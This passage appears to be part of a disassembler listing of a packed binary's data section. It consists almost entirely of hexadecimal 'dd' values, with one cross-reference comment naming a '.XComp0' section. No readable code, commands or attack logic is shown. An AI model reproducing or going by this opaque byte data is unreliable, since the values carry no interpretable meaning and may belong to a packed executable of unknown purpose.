0AAF74A6Fh, 2B74E3A0h dd 77EDF4C2h, 0F95FE004h, 0CFA91C30h, 9D89ADC0h, 0C78345h dd 41F4AA09h, 0B0CBEA49h, 0D79A220Dh, 41C1131h, 0CF273072h dd 8C6D7310h, 7A2BE100h, 0A169ECBEh, 35D7008Ah, 5CEBBF6Fh dd 0E0488DA2h, 0BD190054h, 91171C58h, 272D0028h, 0C1157BCh dd 65743087h, 37AED300h, 0B508BD48h, 6E4D00F5h, 71F38B6Ah dd 1600946Fh, 322F1F55h, 27BF8DABh, 0B47C741Ch, 69662D07h dd 0A64FD960h, 542A0075h, 0BAA7FD36h, 0F707C7ABh, 7DF6816Eh dd 9DF85C30h, 0E19558C4h, 8E693000h, 5D4643FCh, 8031393Dh dd 0B270FBAh, 2E1A5A8h, 69DB11E2h, 48405648h, 241C6CC5h dd 0A2C0DD66h, 85E8E4DFh, 3BA7003Dh, 4EA18ED8h, 0FC06A0E3h dd 16A3E923h, 6D930039h, 0C31E2A3Ah, 35071927h, 33DCD1BAh dd 0A5DEE21h, 54D4E4C9h, 10EF603Bh, 0CCED0BB7h, 0AEBC5000h dd 0DA2A1B97h, 0E57E6Dh, 6C482C1h, 0A3016EB7h, 1590D0A8h dd 6AD52200h, 1FA27ED7h, 8A593961h, 0CD9300FBh, 920EB473h dd 8C00E99Ah, 72BB740Ah, 93E57C6h, 9D9113C8h, 5EAF950Eh dd 0EA561AE0h, 1560554Fh, 496FB410h, 0C6650AD9h, 84259Ch dd 0E9848B44h, 16001027h, 0D92ACBB6h, 97440E1h, 329CAEEAh dd 92A41C20h, 0EF7F2923h, 0AA5D6E00h, 647163EDh, 159D000Bh dd 35107B3Ch, 0E90099C4h, 5FC5E649h, 0EFB77Ch, 0FBB48786h dd 0EA77668Ch, 4FA26100h, 412F37BCh, 423D00B6h, 6F930B22h dd 4507CB62h, 84830F67h, 0A4D7D4C0h, 0C1D21479h, 3E05ACE6h dd 280E52h, 9B7087FEh, 4E009C89h, 7D4C54A7h, 0C90FB0h dd 3E48EFBEh, 7C77C25Ch, 577A1200h, 8026E8DEh, 2DF91EC0h dd 0AC514FF0h, 0AA555080h, 847B9F6Eh, 0A4BC8500h, 44F1EC4Ah dd 16770048h, 2B4BAA1Eh, 431EDDC4h, 6000574Eh, 2C9F1265h dd 0D4210147h, 7D893A6Bh, 0F70AF4CCh, 0A40E3600h, 21B47673h dd 4A9B00D8h, 2C97135Dh, 63000469h, 0F3BC59A3h, 1EF7AF8Ah dd 732D788Bh, 8C80B330h, 0D50063AEh, 6757866Ch, 15C6A3Eh dd 9D99E4D3h, 0F8C0FB25h, 4DF00C8Fh, 24E97024h, 1418F420h dd 0E486DA1h, 0A3BB01D9h, 60D1D8EFh, 0DA12DCB6h, 814A463Ch dd 0E14D1E11h, 0C6701916h, 0D3BA0999h, 0DD07310Dh, 2FF0D0ACh dd 0FF00BC6Fh, 2560E77Ch, 0F301E7Ah, 0CCD640F4h, 481A7B40h dd 0FB1C2609h, 66549FA8h, 312100D4h, 0AE6EB04Eh, 5B3800F2h dd 720222E4h, 50006CDh, 0D3F1FC71h, 94E11Bh, 0AF8E23BFh dd 8662D6DBh, 380192B8h, 4EB358A0h, 0B88F61D8h, 4980BD55h dd 4F4A6E44h, 0C0009A76h, 5A1D8FFh, 73694D42h, 0E2C2E14h dd 9020C2h, 5C990D0Fh, 773D3FCDh, 784AAB01h, 826EC19Eh dd 0ADDC8C35h, 8473E8h, 5237BF72h, 0EB4F9826h, 0D9B92250h dd 247D0E00h, 12BD94BEh, 0FE37003Bh, 32C62B05h, 0D05EF8Bh dd 72F7E052h, 1F613BC1h, 0F4D2A3F0h, 0C017F45Dh, 4207E428h dd 0A900EA09h, 0AD166557h, 0D06F03h, 0F358FBCAh, 6B64EB66h dd 70472200h, 613EEEB5h, 0ACEC391Bh, 0BAB19005h, 2B04086h dd 0F7FE8857h, 0FDB61300h, 20B38EEDh, 6F4B00C6h, 6C1C35D4h dd 3090D91h, 98CA4B9h, 0A9878914h, 0A5690004h, 3251896h dd 0C5EB582Eh, 67C01AB0h, 0B73EF785h, 0CC14B3E5h, 9833EB2Fh dd 278A9Ch, 6F0156B5h, 0F2B35FD3h, 0FB84A900h, 1467A3C4h dd 0F04D0045h, 0AA7D8BB9h, 8907F247h, 3EE38055h, 0E9E2BB50h dd 28BD000Eh, 0C96A4B5Fh, 64182C42h, 0CC40A54Fh, 4174108Fh dd 0B8AE0E8Ch, 55CE042h, 604A3159h, 79D62939h, 0B41885A4h dd 24500DADh, 747A31h, 723033FBh, 0D54C6984h, 91434506h dd 2638C185h, 80348EFFh, 0E221314Fh, 1D24B1CAh, 5403D5E7h dd 0EF053290h, 5A85AA80h, 44F33A7Eh, 50649987h, 43C47B5h dd 0D6AC80EEh, 1500068Fh, 0B9781779h, 3BC81C09h, 9A027124h dd 8E557489h, 0F47BE468h, 0A7883D00h, 852640F6h, 252E01BBh dd 75946A4Ah, 6073D0BEh, 0C58D0301h, 7E54B71Ah, 0F84BD7CCh dd 0E6EE69h, 375286BBh, 1D7C131Fh, 0C6108D00h, 61483F08h dd 0BFE401E3h, 6AFB024h, 0E0E7F4D2h, 8B900CF6h, 0F3EB6000h dd 0E2226D29h, 7F340080h, 0D044FDAAh, 17018EB9h, 5D691DF1h dd 8C20CC9Dh, 4A07012Ch, 13BCF21Ah, 7D3C24FCh, 0BCF0402h dd 405C7E72h, 0E1CEA0Ch, 88E2ACDh, 350D82E0h, 0C4F822E1h dd 1743B4Ch, 0DE3C1468h, 0B08E5A4Ch, 0C9873206h, 0E97D7095h dd 0A1002BBFh, 0CC45FF01h, 59579C93h, 778084CBh, 9F7347ACh dd 0A052FA00h, 0D7B6F705h, 0A24400F6h, 9610E7DEh, 0D50032D1h dd 8BA1C4BEh, 0F22EF03h, 0A6BD2E4Ch, 0A0360840h, 46ECDA43h dd 67419500h, 7B09210Eh, 529401A4h, 64312711h, 51CBC484h dd 0DC232B00h, 914FC297h, 48100312h, 0ABA7339Eh, 0B99F7FE8h dd 93B39D04h, 0C0D0DE7Eh, 70DCACh, 20C7B34h, 3DF75F20h dd 354C63Ch, 0EF0906F0h, 92A60197h, 0DE379C8Fh, 0D9C720A1h dd 0DC3B6A26h, 36C13400h, 0EF78A90h, 6B397050h, 0A2E21940h dd 3F07F6C6h, 28B20582h, 750AC09Fh, 0DC02EAh, 86C7CBE6h dd 94FBA5E1h, 0FD3B9300h, 0EAA98750h, 236B02DFh, 5304E74Ch dd 0E8002843h, 29FD92BBh, 1CAFA8h, 0ACC64EE3h, 2842658Dh dd 0D8432016h, 0B806800h, 0CCB6EDFEh, 0F2618E9h, 75049B00h dd 2EA8F834h, 19720022h, 6D4D54ABh, 48002AB6h, 496A5E7Ch dd 4C07835Fh, 5C1F9643h, 547100DFh, 0AB3A40CDh, 0A467EF00h dd 940ABD50h, 0D4C700C2h dd 5628BEB7h, 1009734Fh, 20E3BB2h, 64499D20h, 880F00F4h dd 60CE8D70h, 0E9015E76h, 2EC37E8Eh, 9BC88AA4h, 140F030Ah dd 0CDE445Dh, 0C75B401Ch, 7F6A4000h, 178A504h, 0CEA84C27h dd 700B0A03h, 0AE003211h, 0D582FF16h, 2E75D1E4h, 831F71h dd 5B634E9h, 670B4C9Ch, 5DC58CFDh, 0A260B48Fh, 0E9BF12Bh dd 0E8814700h, 0B32C558Bh, 0FEC03933h, 1D78DCACh, 414D1E8Dh dd 222F3EBCh, 0C9E8807Ch, 0DD29DFADh, 51F474h, 44A948E6h dd 0AC78567Dh, 0BA1CECB0h, 758081B6h, 8CDFB32Eh, 7499E6h dd 0C6503248h, 0E10066C8h, 15B69C2Ch, 0B5A7C02h, 0EC127B14h dd 3EC0D80Eh, 8BD2F8D4h, 0D73CA800h, 0CA36C36Ch, 429F00C4h dd 0B41109AEh, 3F01CB83h, 0D8CEC778h, 86D02063h, 5FEA0B2Dh dd 1880AA14h, 8E30B8E0h, 75FE0F00h, 60B52F8Bh, 426400ECh dd 0D1529F8Dh, 6F0E392Ah, 0A70B0E49h, 55F13A97h, 1DC43DCAh dd 0B26C4C20h, 7C761E01h, 0CC8AEBB7h, 0F900825Eh, 0ACD4A651h dd 675535h, 8952B301h, 0ECB534Ah, 77EF0800h, 3E098FA1h dd 0FC320059h, 0DD076A37h, 0C700FB49h, 0D04BD6E3h, 61A1B0h dd 9A45E619h, 75ADCCEDh, 3CF4B700h, 9EB5A9C2h, 488CB23Ah dd 9006C48h, 97BB16E0h, 3800B2F5h, 56D03201h, 712BEF7h dd 226430D8h, 80B59758h, 52F492C6h, 0AF808600h, 0DABB9008h dd 7082005Dh, 0ABBA16A1h, 760061E5h, 0B91FA06Bh, 56E0ACh dd 0AD8A6F7Ah, 0C7D283E2h, 99009E7Fh, 0CA764453h, 6740D4h dd 0DBCD26A1h, 34F16904h, 0AFF5CC0Eh, 0A319C47Dh, 7EE7E4B0h dd 72913315h, 0FAC0B711h, 7BFC43A2h, 0D20CF700h, 8124D54Dh dd 0DBF100A1h, 59071D54h, 272E2B6Ah, 0A0003DC1h, 418A0A13h dd 2EC0055h, 2D0D5336h, 355C0F69h, 8121006Eh, 7654B9D2h dd 0A2420051h, 0A9061DE0h, 0E5008DB4h, 3B2D3D52h, 4ECAD255h dd 0EA3400AAh, 654DF24Ah, 515D700h, 5C2A14D3h, 99BF12DCh dd 37060091h, 0D106A748h, 7D21E707h, 9F08E5Bh, 50B9A187h dd 0D4C66Bh, 88C13BA3h, 0A58E8022h, 2B1F3EF0h, 302C2E2Ch dd 9A424A00h, 3B6E2A8Ch, 1A87ECA8h, 89B7C3ADh, 2E836880h dd 0CD00A5F2h, 38075B52h, 17925718h, 0F06B87h, 3C8E0E26h dd 0FC1E5D01h, 0D6007C1Ch, 4767846Eh, 0AC6D00E4h, 0FE587256h dd 0D003E355h, 0F435494Bh, 0CBE80033h, 0A6A90411h, 507E4AAh dd 60DB2D0h, 1214546h, 71A8FC78h, 0E2E3C930h, 6A60D8A1h dd 0AC508038h, 0DAAF16A5h, 3150EA4Eh, 11182BF2h, 0ACBC30EDh dd 0CF8ABD14h, 49DE1010h, 90F0594Bh, 0CF011937h, 91EAAAA8h dd 76113948h, 3E28FCFEh, 0B04ED107h, 0B566CDACh, 40DD0A60h dd 1174378Eh, 0A9019C39h, 604AAA2h, 74893B0Ch, 1330860h dd 9F94414h, 0F46F8599h, 6630BDA9h, 66061B0h, 38468429h dd 0A1A8FF02h, 5C91FCAAh, 0F773113Ch, 0C8FEF140h, 0F6E1F0FBh dd 0BE520084h, 36050456h, 60FE9EFh, 3EFF76C6h, 0F2A9D000h dd 373E4h, 4A9567DCh, 525D7FFEh, 3F006975h, 0C3402754h dd 1517521h, 621338ADh, 0E431D702h, 3400F0C1h, 0EC67003h dd 7F2E56h, 0FE21B316h, 7580AE5Bh, 23493Eh, 55FC2254h dd 0D5DFCDh, 0FBEA444Fh, 0D913852Ah, 1F8A2700h, 475C39EFh dd 904500DBh, 5B54EE14h, 2A0EE048h, 604C1536h, 0EA76AA6Fh dd 65FA039Eh, 59E76E19h, 39D28780h, 0F5F93C0Fh, 7336E004h dd 2EE02638h, 4962C8h, 0C9AB0C6Ah, 7903A7CAh, 0E360E6D1h dd 9C7F98B1h, 75DA793Ch, 6E7F0Ah, 4AE5E0BCh, 4891CAEDh dd 0AA980F00h, 594D8BC0h, 246901AEh, 6AA86B6Eh, 0E80FD4BBh dd 0F5BA6C00h, 0DC81A5FFh, 79118BEh, 0A38270E1h, 1700EC78h dd 25319030h, 6D8114h, 283C9BAEh, 33AF1534h, 2C47F900h dd 7B54F765h, 0C3F00D7h, 0FF60B877h, 5900CA83h, 0B0B7B3DBh dd 600961A0h, 0E27954C6h, 1E075B77h, 27C0714h, 8D45E740h dd 46D8C0BDh, 0AA221CDh, 6A5CF902h, 0C07470F7h, 0EAFD049Fh dd 4BB6008Bh, 5FFC8E2Ch, 0C860E52Dh, 0F9555E38h, 62A70083h dd 9FA1BCEDh, 0C600F324h, 84DB858Fh, 0F1937FB2h, 0F4318040h dd 0C8E6074Ah, 0C0F28AA2h, 0F8FABE2Eh, 5BE37B00h, 41BA0D6Dh dd 9F033010h, 0F31B84F8h, 9705AB00h, 0FD1220F8h, 0F23A044Bh dd 8053A0EFh, 0D2A25418h, 5CA78838h, 0E895075Bh, 0D9C6852Dh dd 0A1D50A58h, 9FEC286Eh, 42E840A3h, 9C09C704h, 5AB85B0Ch dd 5D8A06Bh, 0DC85AA7Ch, 8AF84013h, 0CD5EA879h, 0AE153B00h dd 0AD270F4Ch, 652900FCh, 203FF770h, 1907149Ah, 0EF5E9CF5h dd 6E032F30h, 32DE3EAAh, 7C20F989h, 70640Ah, 6A24738Ch dd 4D005E97h, 176DDD5Ch, 0D774B3h, 0A589C10Fh, 0C66F44Ch dd 0AAE89C07h, 0B8C005A0h, 0F6CBB7h, 0C00E92E9h, 0FC9B1D1Ah dd 2907ED18h, 0B9EC46h, 60AA85D4h, 1D0A6FBDh, 9FA5B401h dd 0DF81AC46h, 1580470h, 8933B9B2h, 80A6C951h, 0FAF746F8h dd 7019E38h, 0EF21AF64h, 0CAC870A7h, 8C7D0623h, 435FE700h dd 6C4D387Fh, 34170044h, 9CED37DBh, 4001D896h, 9FE9526h dd 33FC5601h, 59B200FCh, 0D36F38E9h, 0CD00DD19h, 26C1B71Fh dd 0A14844h, 8AB5154Ch, 5FF91DA5h, 16612500h, 6F1B4FE3h dd 0DCD010Fh, 1F7617DFh, 8163F907h, 18A86274h, 6CEC3E2Bh dd 96120005h, 0BDC965F4h, 0A000C008h, 7E8C8532h, 0A083D927h dd 0FBAAEE0h, 0A520411Eh, 0BB200A8Fh, 0C376E3B2h, 0B70146E2h dd 0D2B6F3E5h, 83D02D03h, 2A0E7C66h, 7FDC18FCh, 4CF3000Ch dd 0C3C4ADDEh, 67F2B3B8h, 3D6EA713h, 0F8D81F00h, 7C1A7F69h dd 10E3003Bh, 0D2FC8B4Eh, 1803132Bh, 1188C2E4h, 436FA0C0h dd 76DB1F7Ah, 7F7BEE3h, 732CFDF5h, 71FC208Eh, 0DC604079h dd 0C5DDC120h, 0B5CB007Fh, 2789C8D0h, 0D177AB6Eh, 0A13C9BF2h dd 9883A4EEh, 0F17AA500h, 0FE759203h, 0ECAEF0F6h, 71E5003Bh dd 0B6A3FCD6h, 0CFB8378Fh, 176E5205h, 4FC0E948h, 3166FAEh dd 94BAACFDh, 0B7E8D2A6h, 0E830D139h, 95698897h, 3B7095ECh dd 6A987E50h, 90FC7928h, 1967B002h, 8320BF70h, 0F0A99694h dd 1898E30h, 0F72D94F1h, 0C8F9745Eh, 54C9DFFh, 0A4673F5Ch dd 6A80CCEFh, 0B8870F9Bh, 0A5B12469h, 0B42F004Ch, 0C20CE964h dd 0F4B7AD00h, 5328799h, 0EEEF007Ah, 0DB7F2DE3h, 72009AB1h dd 0A9BAD8BEh, 70B201D0h, 50131F51h, 4BFAC0A5h, 6DDB8C6Ch dd 0E994A00Fh, 0A0530930h, 7AB0D010h, 92AAF2ACh, 59100088h dd 91F8A4C8h, 0F9079B53h, 33E44E99h, 407DF482h, 7C0C86C8h dd 0A14D046Fh, 834C23E5h, 43F45DF4h, 0E86DA882h, 44B5646h dd 0DD37397Ch, 5C98C3B4h, 1CBDB6E8h, 58FD6800h, 9CFB2578h dd 1A39002Bh, 0D1237B31h, 15394B6Eh, 0D5F0016h, 0F56862F9h dd 910E0A36h, 809CD1E3h, 1971324Bh, 930483DBh, 5D784FD3h dd 0A239F4C0h, 0B0C607E4h, 536DBCD6h, 0E03E6C54h, 78C480F2h dd 85F6F50Eh, 0A4731D1Bh, 5806A94h, 724BC823h, 0EB9005D8h dd 0B810610Bh, 0CFC8C858h, 4EE3B00h, 0F04F8E7Ah, 2175EAh dd 1E24FD7Ch, 2744E4BFh, 61028C1Dh, 915B017Bh, 0EA1A76BDh dd 0F62AE4h, 0D4E2CCF5h, 18D99AA8h, 36A3DA00h, 0E8D4992h dd 0EADD0F54h, 0C70093D2h, 65F1F524h, 19FD5100h, 77051BF7h dd 3999000Dh, 158D46CEh, 5A092B1Dh, 11E86474h, 31F8503Ch dd 4CCCB03Ah, 0C600B8D1h, 10681FA6h, 22071CA4h, 41B3D97Fh dd 7E733210h, 5E6E06F9h dd 90C6DC1Ah, 0A90E5900h, 680BFDBh, 0F277B05h, 937EE5F3h dd 0A06C0840h, 0A1004188h, 0B0E7B54Eh, 1F7F753Ah, 6A0327h dd 45461B26h, 2872EB0Ah, 68B8B360h, 3B106BECh, 7500D68Dh dd 6FCE1135h, 0B004652h, 0AD2F4A02h, 1C20A87h, 0B657AE92h dd 8B217D3Eh, 80E6FAB0h, 75EBFC7Ch, 12F2009Ah, 0C1EA5706h dd 0A91E76E4h, 0A6004A87h, 7993CC36h, 0EEA800DCh, 13F2B009h dd 320F383Bh, 0C0B1E644h, 0F5D2D776h, 90FAFC2Dh, 0EBA304C1h dd 8727314Dh, 0DC6F8068h, 88A0CC11h, 0A41D4C8Fh, 0F6C124CBh dd 447145Bh, 21E01E8h, 74FB645Fh, 0E4C13770h, 44F04096h dd 2A7D168Fh, 0E7BEB601h, 9B30EA31h, 2EAE8441h, 694AC0h dd 0AA6ACF39h, 760B3EFBh, 145ECC00h, 605951DDh, 0D97E00ECh dd 8FA5BDE1h, 0BF00D6CEh, 0CCC1DF7Bh, 5A9F8Ah, 0C9E63EBEh dd 0CD0C30FBh, 477ED474h, 64E91900h, 0A90B242Bh, 0C43C0015h dd 2EFA3F1h, 0C06E42F0h, 1EF7688h, 30B1791Ah, 0E83075ADh dd 0BF12C673h, 8040F71Ch, 7AEE128Dh, 0F9E30C66h, 8F1858E2h dd 0DD789500h, 0F8123D4Ah, 0F3FC6Dh, 39F1CC7Fh, 0AB6CAE05h dd 0B00228C4h, 6F4150C0h, 0A9BC0092h, 0C9EC3086h, 0DD00AB4Ah dd 0A1B0E8Bh, 76266387h, 0CA1D04F5h, 0C1E53EE0h, 0C06BF768h dd 37028505h, 38F694EBh, 0D04F636Dh, 3A34CC0Dh, 0FA80E37Ch dd 0D716B360h, 8F3A7AECh, 0E6100011h, 0C59377EBh, 4DC10F8Dh dd 99C0CEEAh, 19B4B37Bh, 6200609Ah, 0ADC3A533h, 0B82BFFA7h dd 0A3DC0012h, 744DB634h, 190E91E6h, 0A2B5FA2Dh, 68AB1408h dd 0F8592818h, 0F02C00EFh, 7AF9856Bh, 0E001EE9h db 81h, 9 dw 7CBBh ; DATA XREF: .XComp0:00588835o dd 1E9A164Ch, 3A493D9Ch, 0C462C00h, 77A9EE5Fh, 0DF8C7900h dd 8CF6AD5h, 5D690058h, 94C2FCA8h, 1F1FD97Dh, 4D404182h dd 69EF183Eh, 27E101B5h, 64B3F628h, 0C3C04086h, 1A026194h dd 0B939FB10h, 325C407Ah, 6C240029h, 843FFEE0h, 1400DBD6h dd 0F75196Dh, 0E7E9009h, 0B678E5E1h, 808DD580h, 7C00F5A1h dd 4F2169DCh, 3CF3548h, 0F6E6C2FEh, 9C0070A0h, 4BF9BA3h dd 18D2BB56h, 292D87A4h, 0F50790AFh, 28ABC5Ch, 0C0B561D3h dd 2AAB59h, 152DEDCEh, 0C4DFF6BDh, 42BFE300h, 718F63AFh dd 52010023h, 830B5A93h, 30B7BEEh, 0D78A8164h, 9767FA80h dd 0BA074CFEh, 3722F546h, 2A470019h, 0CE366Bh, 0BE344E0Ah dd 69E0247h, 113BC203h, 88CA126Ah, 8B1805h, 0F883E1DCh dd 0D2867F5Dh, 9CE44300h, 0B266C13Ch, 75C70598h, 80A942A2h dd 0B59FF7F9h, 0ECE1C31Eh, 0E949A040h, 0C8D4B8h, 0EB66A4A2h dd 0A5516A62h, 0CED97800h, 771B7DAAh, 0AD0800C6h, 90D2C8BDh dd 967C7B89h, 0F3E7D800h, 0CA782F23h, 31740Ch, 9411EB06h dd 0F56D2B04h, 1A008170h, 3B75F48Eh, 12485D0Bh, 0C0633AE6h dd 2D82A8A4h, 6C00AD78h, 0EF881A74h, 775F047Eh, 595001D6h dd 2A066EE4h, 100EC44Fh, 0AFBBCA01h, 0E38E9CDAh, 3982F0h dd 0D622BF7Dh, 0F86F84C2h, 7A1E01Eh, 5C8D0600h, 881E13h dd 91ACB99Fh, 0C0BE1936h, 0C7AB200h, 2584F4EFh, 288CE83Dh dd 27C9F9EEh, 58001437h, 8B87F01Ah, 19164400h, 70E130D2h dd 1E2C9856h, 80F46A2Ah, 0E34DF8B6h, 8D00B504h, 5012C3A3h dd 0CDEED9h, 22C49892h, 0DDF8CF5Ah, 0B8949E00h, 13D2611Dh dd 8F9900DFh, 486321B7h, 5A00FC25h, 6B542993h, 0E8050ED8h dd 94A7351Bh, 0A9EC001Ch, 0EDDB2E23h, 0DCE6DF0Eh, 80D88EFDh dd 57687B47h, 0D728C721h, 0B0B1070Fh, 2FAFB806h, 0D174AAE8h dd 0C7FD9A00h, 0A93AA30Dh, 601F3071h, 5679C06Ah, 0E06A581Dh dd 8025D7CEh, 0D28A132Eh, 5A498E1h, 75382683h, 0D5B180BDh dd 0D638C9E0h, 4FB50765h, 7911AE06h, 43D3EA2h, 2599AD00h dd 0BE37FE7Dh, 53F52307h, 8CA0151Dh, 90749h, 7584E111h dd 2796B4ABh, 3F285A00h, 0B1327429h, 8E11002Eh, 7DFD039Ch dd 20FE319Bh, 1A8C8D00h, 1C073BCCh, 0F48F0084h, 22CA92Ah dd 5871C3EAh, 68E46212h, 1689FC00h, 0D86166h, 8314D0BAh dd 0B057AA9h, 1F0A6F00h, 49C3DD99h, 0E291002Bh, 0DEC8595Dh dd 21007017h, 0AA673DEFh, 2B24B1Bh, 0A41802D4h, 0BC06BADh dd 570059A3h, 37470AD6h, 15FC5Ah, 0F7D0C56h, 0E52A1B2Bh dd 6001F101h, 0C00B30CAh, 0C1CC34h, 0AADB3744h, 0A8E2FFBDh dd 0C902D50Fh, 0A9F8009Bh, 0ABE3C69Fh, 43043E4h, 453023B8h dd 49D2104Ah, 2CFA0BA8h, 0AE009A7Dh, 0AD878973h, 22EC5503h dd 0E01B72B9h, 0C86BC8D2h, 1242C629h, 21E524B1h, 0B2126D76h dd 89B33710h, 443608F1h, 2284DE74h, 0FD429976h, 2171ED11h dd 970308CAh, 2222099Eh, 0F622791Eh, 9E5E2214h, 0B03544h dd 0DC8A4FFAh, 0DB7C85FEh, 0A871E600h, 9586F3AEh, 78E700E1h dd 3115C8Bh, 0C900F453h, 99C487D4h, 18F35804h, 1085D1CAh dd 6972B0FDh, 0D702600h, 0B609772Eh, 0F44F58F6h, 0B480F539h dd 0E0D7D4EBh, 582E3754h, 10008C3Fh, 6FF73DD6h, 0A0EA0077h dd 7C95DB29h, 0D4003E57h, 2D0A25C5h, 4D28Ch, 1C64552Eh dd 9F6802B1h, 8054493Dh, 0CE95318Bh, 25A7D50h, 0D7E77148h dd 0A472207Ch, 8704A100h, 0C8038474h, 519900B2h, 7E7D756Ch dd 900354BCh, 0EF0BFE95h, 0BB660096h, 9B1E7879h, 0E800F23Ch dd 0DE60ED67h, 653A1Ah, 6F2C56F1h, 348B63CCh, 6E092600h dd 0B912311Eh, 619A0015h, 4DE02A42h, 7A01FD07h, 5CBAB3DFh dd 6FE85DBDh, 7FDB010Fh, 0B01E84F7h, 9B762085h, 42B43700h dd 0C66CCC86h, 0AF620048h, 0C8D39E8h, 0C21FF4E7h, 738001AAh dd 159FCCCAh, 8CE0069h, 9C02A898h, 0B2009247h, 0D3B1D980h dd 5C0D78B7h, 0CD0024A9h, 0F22F84DCh, 7C92AF21h, 0CF157A07h dd 7320EA24h, 0F8F0FA31h, 7470F942h, 765E0BD7h, 0D000E565h dd 82D5BEE2h, 74E4A770h, 91081B00h, 0B859B096h, 7C9A0139h dd 9C0D7797h, 0A6FC6594h, 7600FC11h, 3378E6C9h, 0A98900F4h dd 5B9ADE67h, 3601A29Eh, 18498ED9h, 9881FAF9h, 0BDCD8884h dd 0B8CCD494h, 1CD15Ch, 0F255D05Fh, 0F01E0C4h, 0DA6DD830h dd 90288FE7h, 76C10585h, 66ABCD0Bh, 0E8FC00CAh, 71577BFh dd 0D8758C7Fh, 3318FC34h, 59301E0Eh, 0A9FBA071h, 3E1FFFAh dd 0F6ED439h, 3FB80BB7h, 0BD004D44h, 0F9F59872h, 0E89E3Dh dd 482161AAh, 2DD11A17h, 66FF27h, 6434600h, 0E8E140D6h dd 0B3923Dh, 8BFA9013h, 71D122Ch, 8BF9F82h, 1771905Ah dd 0DE006127h, 23CB7C38h, 74BCD47h, 4C6AA3CFh, 5B158Dh dd 80500BE0h, 74E82B67h, 0EC640F07h, 0C3B1011Dh, 44FC8A39h dd 795200DBh, 4060DAD5h, 7801C716h, 0A5B1205Bh, 61F03D23h dd 0E6D00768h, 709BB662h, 5C6B809Ah, 5E4CFEFEh, 762B1C0Eh dd 0C13B91C0h, 90B692Ch, 466FC6BDh, 0EBC8C80h, 0D124865Ch dd 0B600F2DAh, 0E3845E1Ah, 0A96A00EFh, 0F7651BBDh, 2E02DE31h dd 28762027h, 10C7E033h, 872F00FCh, 0CDE84115h, 0BCF695D9h dd 5814284Ch, 48B47D80h, 0F6AA8A00h, 94C6E781h, 9CDB07E8h dd 0B294C3DEh, 0AB222DA8h, 9A66BB0Fh, 1EF06072h, 724F4EC6h dd 0E13C0035h, 8634323Ah, 0A9F0CF9h, 0A4202EE2h, 74B092E2h dd 0AA534B00h, 0C439CE4h, 21461C14h, 0A2198025h, 6144F22Eh dd 0A6F12004h, 0E081245Ah, 1C38B73Dh, 3188E200h, 58829D3Fh dd 0A1C790C0h, 0FC483D2h, 6EF61AC9h, 0EE22C520h, 3F00A9B8h dd 30E0B726h, 63BCE8h, 9CC076F6h, 8C77E958h, 0D3C15A1Ch dd 24006A97h, 716C756h, 128CB884h, 1CCB9577h, 0D8419458h dd 2250CC24h, 0E8E01ED8h, 40A9818Bh, 0FA0D3F6Ah, 303164E1h dd 9709281Fh, 41E37C02h, 25FC3B44h, 2A3600EAh, 551B6961h dd 6D395BCCh, 7E490016h, 20FC1F60h, 9559131Ch, 137C0064h dd 0C3E62FAh, 2C4CAC04h, 50C02BD0h, 1346DC3Fh, 407C4020h dd 0F269526Ch, 601D97Dh, 0DA785533h, 39C879E3h, 0E5420054h dd 48157E84h, 7D0405EDh, 2F3890AAh, 8E9A7280h, 0A9AD3D69h dd 78BC00F7h, 5087D775h, 460019F3h, 2C418363h, 0C7E7C2h dd 0FDB720D5h, 0CB484A68h, 82F8F213h, 0F35A403h, 31A0A824h dd 473E09D6h, 0EB80DC63h, 0BD1C22E3h, 0E42E600h, 304C0699h dd 19D1006Dh, 5531F351h, 8814C58Dh, 0F417AAh, 0F1254A15h dd 0E5F2E27h, 2A76263Ah, 603F1AE1h, 2D73F039h, 37CC2800h dd 126FF96h, 1D377C4h, 27FE9411h, 80D1E102h, 0B51DB110h dd 765624h, 7829A5D9h, 96BACA88h, 30FF7050h, 0AA00D0BCh dd 0B2186AE3h, 0EFDA0073h, 2A451FF3h, 0E201166Fh, 7558D5CCh dd 82D82B9Dh, 0E9C80E1Dh, 5D6045DAh, 0AF57FD89h, 69D8CF00h dd 0B0AC08FFh, 0D9904C2h, 80B59656h, 0DA2EA74Eh, 300F1173h dd 2333B3h, 0EAC385Dh, 0E376036Bh, 66F7774Fh, 0FDEB5EF0h dd 3E553A00h, 288035CBh, 0D43F16F2h, 60123Bh, 0A320259Fh dd 5C7868FFh, 17709B60h, 143C6Dh, 442503B3h, 0DEA9A4FAh dd 807AE73Fh, 0E58895A3h, 0B23AD6F3h, 9BC40044h, 0AAE9E0C1h dd 0C49EEA82h, 772DB084h, 80BFA8C0h, 0AD1D1F47h, 0ED9388h dd 43155E29h, 0BC00C034h dd 41F6C66Ah, 0BD0E273h, 2B689408h, 51625C80h, 6C0096D2h dd 0A3B446CBh, 5FC836h, 9041EF97h, 70871B5Bh, 942288C1h dd 586012A8h, 777B2AA2h, 7572C0CCh, 6CBB4B49h, 0F4CFFFAh dd 6E5C03C0h, 0D06B4299h, 0F1D8A7h, 0B3FC9AB2h, 0E24CA58Bh dd 0F4AE661Eh, 0F6318680h, 49B93B6h, 8260B052h, 34D4C041h dd 0EC90A138h, 3D984300h, 949EE1FAh, 88E00386h, 0EBDBB47Eh dd 0A34280C8h, 77FEE0Bh, 0DA8C00C3h, 0C65FC5h, 0E9197B98h dd 8C9BFEB7h, 3C03BFF2h, 96254FDCh, 21800E8h, 7B8175FDh dd 8B0F10CAh, 0E09FBB58h, 86339D1Eh, 471A01F7h, 2D0BCE29h dd 80DC60CBh, 150036FEh, 28D214BEh, 0A0087975h, 460594h dd 0A6A1DEF7h, 19EDF837h, 0DA740F02h, 0D09D0929h, 288C48ECh dd 82E6FA00h, 54138D64h, 0D4017B76h, 0C87D5D37h, 9170E0CAh dd 0CBC90F39h, 0CEE0E4DAh, 98979674h, 499422Eh, 1C7AAD02h dd 60EC8EB7h, 0E766FC8Ah, 35A724DDh, 88920775h, 7E8FF1A6h dd 9E36D416h, 0C506391Fh, 717841C4h, 0E5F94CC0h, 57BC485Ch dd 0A44C8A00h, 5F699912h, 0C47879B0h, 81C524Bh, 284CA5h dd 81DD435Fh, 0DEDB059Dh, 2E010CB4h, 291273CDh, 502D41CCh dd 0F0D7A038h, 322400FDh, 0FEE07A15h, 0BF493405h, 0E7400124h dd 72521A2Fh, 7C601C21h, 0A4AD03A8h, 7F028F30h, 36ED0CC8h dd 0E42C8A17h, 3F48BC00h, 9BBDE5h, 0D8C43C22h, 2AFBED27h dd 0CB33A800h, 1F94F2B0h, 5736017Ch, 90BA7DA7h, 1B608076h dd 0F0404716h, 49EB0B09h, 0B88FA7C9h, 